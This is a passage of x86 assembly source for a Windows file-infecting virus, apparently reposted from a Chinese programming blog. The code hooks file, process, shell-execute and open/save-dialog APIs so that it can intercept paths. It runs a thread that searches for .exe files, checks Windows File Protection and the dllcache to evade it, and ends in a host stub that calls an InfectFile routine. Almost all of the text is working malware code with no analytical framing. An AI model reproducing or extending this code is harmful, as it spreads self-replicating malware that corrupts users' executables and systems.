add esp,1000
retn
TrySearchPath_end:
;Param: edi->unicode path
TrySearchPathWide:
sub esp,1000
mov edx,edi
mov edi,esp
call UnicodeToAnsi
add edi,eax
jmp short TrySearchPath_Help
TrySearchPathWide_end:
;Extract the file path,then search it
;Param: edi->file name
TrySearchFile:
call CanSearch
jnz short TrySearchFileRet
pushad
call TrySearchFileIP
TrySearchFileIP:
pop ebx
lea esi,[ebx+PathBuf-TrySearchFileIP]
xchg esi,edi
call VirExtractPath
mov edi,ecx
mov eax,'xe.*'
stosd
mov eax,'000e' and 0ffh
stosd
push dword ptr [ebx+VirEventHandle-TrySearchFileIP]
call [ebx+addrSetEvent-TrySearchFileIP]
popad
TrySearchFileRet:
retn
TrySearchFile_end:
;Param: esi->source buffer,edi->dest buffer
;Return: esi,edi->buffer end,ecx->afte the last '/' or the buffer head
VirExtractPath:
cld
mov ecx,edi
VirExtractPathLoop:
lodsb
stosb
cmp al,'/'
jnz short VirExtractPathNotBackSlash
mov ecx,edi
VirExtractPathNotBackSlash:
or al,al
jnz short VirExtractPathLoop
retn
VirExtractPath_end:
;Return: ZF=0,can't begin search,ZF=1,can begin search
CanSearch:
pushad
call CanSearchIP
CanSearchIP:
pop esi
xor edx,edx
mov dl,0
SearchSign equ $-1
or dl,dl
jnz short CanSearchRet
call [esi+addrGetTickCount-CanSearchIP]
xor edx,edx
sub eax,12345678h
CanSearchTick equ $-4
cmp eax,3*1000 ;3 sec
ja short CanSearchRet
inc edx
CanSearchRet:
or edx,edx
popad
retn
CanSearch_end:
;Thread to search a specified path
SearchThread:
call SearchThreadIP
SearchThreadIP:
pop ebp
sub esp,1000
SearchThreadDeadLoop:
mov byte ptr [ebp+SearchSign-SearchThreadIP],0
push large -1
push large 12345678h
VirEventHandle equ $-4
call [ebp+addrWaitForSingleObject-SearchThreadIP]
mov byte ptr [ebp+SearchSign-SearchThreadIP],1
call [ebp+addrGetTickCount-SearchThreadIP]
mov [ebp+SearchThreadTick-SearchThreadIP],eax
lea esi,[ebp+PathBuf-SearchThreadIP]
mov edi,esp
push edi
push esi
call [ebp+addrFindFirstFileA-SearchThreadIP]
inc eax
jz short SearchThreadDeadLoop
dec eax
push eax ;Handle
SearchThreadFindLoop:
pushad
add edi,4*11 ;edi->cFileName
call HookFindHelp
popad
call [ebp+addrGetTickCount-SearchThreadIP]
sub eax,12345678h
SearchThreadTick equ $-4
cmp eax,1500 ;continue run for 1500 millionsecond
ja short SearchThreadClose
pop eax
push eax
push edi
push eax
call [ebp+addrFindNextFileA-SearchThreadIP]
or eax,eax
jnz short SearchThreadFindLoop
SearchThreadClose:
call [ebp+addrFindClose-SearchThreadIP]
call [ebp+addrGetTickCount-SearchThreadIP]
mov [ebp+CanSearchTick-SearchThreadIP],eax
jmp short SearchThreadDeadLoop
SearchThread_end:
VirImportTable:
db 'KERNEL32.dll'
db 0,0,'LoadLibraryA'
db 0,0,'GetProcAddress',0
VirImportTableStringSize equ $-VirImportTable
VIRAPIDEF macro apiname
db IMPORT_IS_NAME
db apiname
endm
Kernel32APIName:
db 'kernel32'
VIRAPIDEF 'CreateFileA'
VIRAPIDEF 'CreateFileW'
VIRAPIDEF 'CreateProcessA'
VIRAPIDEF 'CreateProcessW'
VIRAPIDEF 'FindFirstFileA'
VIRAPIDEF 'FindFirstFileW'
VIRAPIDEF 'CopyFileA'
VIRAPIDEF 'CopyFileW'
VIRAPIDEF 'CopyFileExA'
VIRAPIDEF 'CopyFileExW'
VIRAPIDEF 'MoveFileA'
VIRAPIDEF 'MoveFileW'
VIRAPIDEF 'MoveFileExA'
VIRAPIDEF 'MoveFileExW'
VIRAPIDEF 'GetCurrentDirectoryA'
VIRAPIDEF 'GetCurrentDirectoryW'
VIRAPIDEF 'SetCurrentDirectoryA'
VIRAPIDEF 'SetCurrentDirectoryW'
VIRAPIDEF 'GetModuleFileNameA'
VIRAPIDEF 'GetModuleFileNameW'
VIRAPIDEF 'LoadLibraryA'
VIRAPIDEF 'LoadLibraryW'
VIRAPIDEF 'SetEndOfFile'
VIRAPIDEF 'SetFilePointer'
VIRAPIDEF 'GetFileAttributesA'
VIRAPIDEF 'SetFileAttributesA'
VIRAPIDEF 'CloseHandle'
VIRAPIDEF 'GetFileTime'
VIRAPIDEF 'SetFileTime'
VIRAPIDEF 'GetFileSize'
VIRAPIDEF 'CreateFileMappingA'
VIRAPIDEF 'MapViewOfFile'
VIRAPIDEF 'UnmapViewOfFile'
VIRAPIDEF 'OpenFileMappingA'
VIRAPIDEF 'VirtualAlloc'
VIRAPIDEF 'GetTickCount'
VIRAPIDEF 'WideCharToMultiByte'
VIRAPIDEF 'WaitForSingleObject'
VIRAPIDEF 'FindClose'
VIRAPIDEF 'CreateEventA'
VIRAPIDEF 'SetEvent'
VIRAPIDEF 'CreateThread'
VIRAPIDEF 'FindNextFileA'
VIRAPIDEF 'MultiByteToWideChar'
db 0
SfcAPIName:
db 'sfc'
VIRAPIDEF 'SfcIsFileProtected'
db 0
User32APIName:
db 'user32'
VIRAPIDEF 'SendMessageA'
VIRAPIDEF 'GetParent'
db 0
ComDlg32APIName:
db 'comdlg32'
VIRAPIDEF 'GetOpenFileNameA'
VIRAPIDEF 'GetOpenFileNameW'
VIRAPIDEF 'GetSaveFileNameA'
VIRAPIDEF 'GetSaveFileNameW'
db 0
Shell32APIName:
db 'shell32'
VIRAPIDEF 'ShellExecuteA'
VIRAPIDEF 'ShellExecuteW'
VIRAPIDEF 'ShellExecuteExA'
VIRAPIDEF 'ShellExecuteExW'
db 0
HookProcTable:
dw HookGetOpenFileNameA-VirStart
dw HookGetOpenFileNameW-VirStart
dw HookGetSaveFileNameA-VirStart
dw HookGetSaveFileNameW-VirStart
dw HookShellExecuteA-VirStart
dw HookShellExecuteW-VirStart
dw HookShellExecuteExA-VirStart
dw HookShellExecuteExW-VirStart
dw HookCreateFileA-VirStart
dw HookCreateFileW-VirStart
dw HookCreateProcessA-VirStart
dw HookCreateProcessW-VirStart
dw HookFindFirstFileA-VirStart
dw HookFindFirstFileW-VirStart
dw HookCopyFileA-VirStart
dw HookCopyFileW-VirStart
dw HookCopyFileExA-VirStart
dw HookCopyFileExW-VirStart
dw HookMoveFileA-VirStart
dw HookMoveFileW-VirStart
dw HookMoveFileExA-VirStart
dw HookMoveFileExW-VirStart
dw HookGetCurrentDirectoryA-VirStart
dw HookGetCurrentDirectoryW-VirStart
dw HookSetCurrentDirectoryA-VirStart
dw HookSetCurrentDirectoryW-VirStart
dw HookGetModuleFileNameA-VirStart
dw HookGetModuleFileNameW-VirStart
dw HookLoadLibraryA-VirStart
dw HookLoadLibraryW-VirStart
HookAPITable:
ComDlg32APIAddr:
addrGetOpenFileNameA dd 0
addrGetOpenFileNameW dd 0
addrGetSaveFileNameA dd 0
addrGetSaveFileNameW dd 0
Shell32APIAddr:
addrShellExecuteA dd 0
addrShellExecuteW dd 0
addrShellExecuteExA dd 0
addrShellExecuteExW dd 0
Kernel32APIAddr equ this dword
addrCreateFileA dd 0 ;77e92b8dh
addrCreateFileW dd 0
addrCreateProcessA dd 0
addrCreateProcessW dd 0
addrFindFirstFileA dd 0
addrFindFirstFileW dd 0
addrCopyFileA dd 0
addrCopyFileW dd 0
addrCopyFileExA dd 0
addrCopyFileExW dd 0
addrMoveFileA dd 0
addrMoveFileW dd 0
addrMoveFileExA dd 0
addrMoveFileExW dd 0
addrGetCurrentDirectoryA dd 0
addrGetCurrentDirectoryW dd 0
addrSetCurrentDirectoryA dd 0
addrSetCurrentDirectoryW dd 0
addrGetModuleFileNameA dd 0
addrGetModuleFileNameW dd 0
addrLoadLibraryA dd 0
addrLoadLibraryW dd 0
HookNum equ ($-HookAPITable)/4
addrSetEndOfFile dd 0 ;77e9f044h
addrSetFilePointer dd 0 ;77e9ed4ch
addrGetFileAttributesA dd 0 ;77e8657ah
addrSetFileAttributesA dd 0 ;77e87b77h
addrCloseHandle dd 0 ;77e8a6c8h
addrGetFileTime dd 0 ;77e8b19ah
addrSetFileTime dd 0 ;77e8a372h
addrGetFileSize dd 0 ;77e88854h
addrCreateFileMappingA dd 0 ;77e8d21ah
addrMapViewOfFile dd 0 ;77e8d019h
addrUnmapViewOfFile dd 0 ;77e95efch
addrOpenFileMappingA dd 0 ;77e90ab4h
addrVirtualAlloc dd 0 ;77e90ee2h
addrGetTickCount dd 0 ;77e8c0a6h
addrWideCharToMultiByte dd 0
addrWaitForSingleObject dd 0
addrFindClose dd 0
addrCreateEventA dd 0
addrSetEvent dd 0
addrCreateThread dd 0
addrFindNextFileA dd 0
addrMultiByteToWideChar dd 0
SfcAPIAddr:
addrSfcIsFileProtected dd 12345678h
User32APIAddr:
addrSendMessageA dd 0
addrGetParent dd 0
VirEnd:
VirSize equ $-VirStart
;Uninitialized data
PathBuf db 1000 dup(?)
VirVirtualSize equ $-VirStart
fakeLoadLibraryA dd 77e98023h
fakeGetProcAddress dd 77e9564bh
dllcache db 'D:/WINNT/systeM32/dLLCache/f',0
host:
mov eax,VirSize
mov eax,HookNum
mov edi,offset dllcache
mov esi,edi
call VirGetStrTail
xor eax,eax
call IsInDllCache
mov eax,HookNum
mov eax,VirSize
push offset strKernel32
call LoadLibraryA
mov esi,eax
push offset strLoadLibraryA
push esi
call GetProcAddress
mov [fakeLoadLibraryA],eax
push offset strGetProcAddress
push esi
call GetProcAddress
mov [fakeGetProcAddress],eax
mov dword ptr [RVALoadLibraryA],offset fakeLoadLibraryA
mov dword ptr [RVAGetProcAddress],offset fakeGetProcAddress
mov edx,offset ImportBuildIP
call GetVirAPIAddress
mov dword ptr [RVALoadLibraryA],0
mov dword ptr [RVAGetProcAddress],0
call [addrGetTickCount]
mov dword ptr [RandSeed],eax
mov edi,offset fn
call InfectFile
hostreturn:
push 0
push offset cap
push offset msg
push 0
call MessageBox
push 0
call ExitProcess
end host
原文链接: http://blog.csdn.net/yincheng01/article/details/4230796